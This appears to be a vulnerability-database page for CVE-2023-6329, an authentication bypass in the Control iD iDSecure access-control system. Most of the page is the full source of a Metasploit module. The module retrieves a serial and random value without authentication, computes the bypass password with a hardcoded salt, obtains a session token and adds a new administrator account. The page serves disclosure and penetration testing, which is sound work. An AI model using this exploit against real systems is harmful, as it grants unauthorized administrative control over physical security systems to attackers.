| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| The vulnerability of the iDSecure access control system stems from deficiencies in the authentication process. This allows attackers to bypass the authentication procedures, gain unauthorized access to protected information, and increase their privileges. | 6 Dec 202300:00 | – | bdu_fstec | |
| CVE-2023-6329 | 17 Dec 202309:37 | – | circl | |
| Control iD iDSecure Security Breach | 27 Nov 202300:00 | – | cnnvd | |
| CVE-2023-6329 | 27 Nov 202316:34 | – | cve | |
| CVE-2023-6329 Control iD iDSecure passwordCustom Authentication Bypass | 27 Nov 202316:34 | – | cvelist | |
| Exploit for Improper Authentication in Controlid Idsecure | 11 Mar 202615:04 | – | githubexploit | |
| Control iD iDSecure Authentication Bypass (CVE-2023-6329) | 27 Aug 202418:53 | – | metasploit | |
| Control iD iDSecure - Authentication Bypass | 13 Jun 202613:20 | – | nuclei | |
| CVE-2023-6329 | 27 Nov 202317:15 | – | nvd | |
| CVE-2023-6329 | 27 Nov 202317:15 | – | osv |
`class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',
'Description' => %q{
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Tenable' # Discovery and PoC
],
'References' => [
['CVE', '2023-6329'],
['URL', 'https://www.tenable.com/security/research/tra-2023-36']
],
'DisclosureDate' => '2023-11-27',
'DefaultOptions' => {
'RPORT' => 30443,
'SSL' => 'True'
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])
])
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end
return CheckCode::Unknown unless res&.code == 401
data = res.get_json_document
version = data['Version']
return CheckCode::Unknown if version.nil?
print_status('Got version: ' + version)
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')
return CheckCode::Appears
end
def run
# 1) Obtain the serial and passwordRandom
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end
json = res.get_json_document
unless json.key?('passwordRandom') && json.key?('serial')
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
end
password_random = json['passwordRandom']
serial = json['serial']
print_good('Retrieved passwordRandom: ' + password_random)
print_good('Retrieved serial: ' + serial)
# 2) Create passwordCustom
sha1_hash = Digest::SHA1.hexdigest(serial)
combined_string = sha1_hash + password_random + 'cid2016'
sha256_hash = Digest::SHA256.hexdigest(combined_string)
short_hash = sha256_hash[0, 6]
password_custom = short_hash.to_i(16).to_s
print_status("Created passwordCustom: #{password_custom}")
# 3) Login with passwordCustom and passwordRandom to obtain a JWT
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api/login/'),
'data' => body
})
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end
json = res.get_json_document
unless json.key?('accessToken')
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
end
access_token = json['accessToken']
print_good('Retrieved JWT: ' + access_token)
# 4) Add a new administrative user
body = {
idType: '1',
name: datastore['NEW_USER'],
user: datastore['NEW_USER'],
newPassword: datastore['NEW_PASSWORD'],
password_confirmation: datastore['NEW_PASSWORD']
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'Authorization' => "Bearer #{access_token}"
},
'uri' => normalize_uri(target_uri.path, 'api/operator/'),
'data' => body
})
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end
json = res.get_json_document
unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
end
# 5) Confirm credentials work
body = {
username: datastore['NEW_USER'],
password: datastore['NEW_PASSWORD'],
passwordCustom: nil
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api/login/'),
'data' => body
})
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end
json = res.get_json_document
unless json.key?('accessToken') && json.key?('unlock')
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation